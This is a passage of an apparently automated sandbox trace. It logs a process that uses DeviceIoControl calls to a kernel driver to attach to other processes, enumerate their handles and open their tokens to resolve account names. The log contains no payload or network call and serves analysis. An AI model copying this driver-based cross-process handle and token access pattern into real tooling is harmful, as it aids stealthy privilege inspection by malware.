lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.619] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.619] PsAcquireProcessExitSynchronization () returned 0x0 [0132.619] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880050005d0) [0132.619] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fc9350, HandleInformation=0x0) returned 0x0 [0132.619] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.619] PsReleaseProcessExitSynchronization () returned 0x2 [0132.619] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0132.619] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.619] ObfDereferenceObject (Object=0xfffffa8001fc9350) returned 0x1 [0132.619] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.619] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.619] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.620] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0132.620] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.620] PsAcquireProcessExitSynchronization () returned 0x0 [0132.620] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880050005d0) [0132.620] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fc49f0, HandleInformation=0x0) returned 0x0 [0132.620] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.620] PsReleaseProcessExitSynchronization () returned 0x2 [0132.620] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0132.620] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.620] ObfDereferenceObject (Object=0xfffffa8001fc49f0) returned 0x1 [0132.620] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.620] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.620] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.620] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.620] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.620] PsAcquireProcessExitSynchronization () returned 0x0 [0132.620] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880050005d0) [0132.620] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.620] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.620] PsReleaseProcessExitSynchronization () returned 0x2 [0132.620] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0132.620] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.620] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.620] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.620] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.620] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2dc) returned 0xc0 [0132.620] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.620] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001fc8b30, HandleInformation=0x0) returned 0x0 [0132.620] ObOpenObjectByPointer (in: Object=0xfffffa8001fc8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.620] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x12 [0132.620] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.620] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.621] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.621] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.621] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.622] CloseHandle (hObject=0xc8) returned 1 [0132.622] CloseHandle (hObject=0xc0) returned 1 [0132.622] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.622] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.622] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.622] PsAcquireProcessExitSynchronization () returned 0x0 [0132.622] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880050005d0) [0132.623] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fe1f20, HandleInformation=0x0) returned 0x0 [0132.623] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.623] PsReleaseProcessExitSynchronization () returned 0x2 [0132.623] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0132.623] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.623] ObfDereferenceObject (Object=0xfffffa8001fe1f20) returned 0x1 [0132.623] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.623] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.623] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.623] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0132.623] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.623] PsAcquireProcessExitSynchronization () returned 0x0 [0132.623] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880050005d0) [0132.623] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fe1b50, HandleInformation=0x0) returned 0x0 [0132.623] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.623] PsReleaseProcessExitSynchronization () returned 0x2 [0132.623] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0132.623] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0132.623] ObfDereferenceObject (Object=0xfffffa8001fe1b50) returned 0x1 [0132.623] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.623] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.623] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.623] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.623] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.623] PsAcquireProcessExitSynchronization () returned 0x0 [0132.623] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880050005d0) [0132.623] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.623] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.624] PsReleaseProcessExitSynchronization () returned 0x2 [0132.624] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0132.624] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.624] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.624] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.624] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.624] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x42c) returned 0xc0 [0132.624] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.624] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002003b30, HandleInformation=0x0) returned 0x0 [0132.624] ObOpenObjectByPointer (in: Object=0xfffffa8002003b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.624] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x12 [0132.624] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.624] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.624] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.624] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.624] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.625] CloseHandle (hObject=0xc8) returned 1 [0132.625] CloseHandle (hObject=0xc0) returned 1 [0132.626] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.626] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.626] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.626] PsAcquireProcessExitSynchronization () returned 0x0 [0132.626] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880050005d0) [0132.626] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001ff2980, HandleInformation=0x0) returned 0x0 [0132.626] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.626] PsReleaseProcessExitSynchronization () returned 0x2 [0132.626] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0132.626] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.626] ObfDereferenceObject (Object=0xfffffa8001ff2980) returned 0x1 [0132.626] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.626] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.626] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.626] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0132.626] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.626] PsAcquireProcessExitSynchronization () returned 0x0 [0132.626] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880050005d0) [0132.626] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f79e50, HandleInformation=0x0) returned 0x0 [0132.626] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.626] PsReleaseProcessExitSynchronization () returned 0x2 [0132.626] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0132.626] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.626] ObfDereferenceObject (Object=0xfffffa8001f79e50) returned 0x1 [0132.626] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.626] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.626] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.626] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.626] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.627] PsAcquireProcessExitSynchronization () returned 0x0 [0132.627] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880050005d0) [0132.627] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.627] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.627] PsReleaseProcessExitSynchronization () returned 0x2 [0132.627] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0132.627] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.627] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.627] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.627] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.627] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x320) returned 0xc0 [0132.627] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.627] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001fcf060, HandleInformation=0x0) returned 0x0 [0132.627] ObOpenObjectByPointer (in: Object=0xfffffa8001fcf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.627] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x12 [0132.627] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.627] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.627] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.627] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.627] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.628] CloseHandle (hObject=0xc8) returned 1 [0132.629] CloseHandle (hObject=0xc0) returned 1 [0132.629] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.629] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.629] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.629] PsAcquireProcessExitSynchronization () returned 0x0 [0132.629] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880050005d0) [0132.629] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f3d070, HandleInformation=0x0) returned 0x0 [0132.629] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.629] PsReleaseProcessExitSynchronization () returned 0x2 [0132.629] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0132.629] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.629] ObfDereferenceObject (Object=0xfffffa8001f3d070) returned 0x1 [0132.629] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.629] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.629] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.629] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0132.629] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.629] PsAcquireProcessExitSynchronization () returned 0x0 [0132.629] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880050005d0) [0132.629] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a12f20, HandleInformation=0x0) returned 0x0 [0132.629] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.629] PsReleaseProcessExitSynchronization () returned 0x2 [0132.629] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0132.629] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.629] ObfDereferenceObject (Object=0xfffffa8001a12f20) returned 0x1 [0132.629] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.629] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.630] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.630] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.630] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.630] PsAcquireProcessExitSynchronization () returned 0x0 [0132.630] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880050005d0) [0132.630] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: 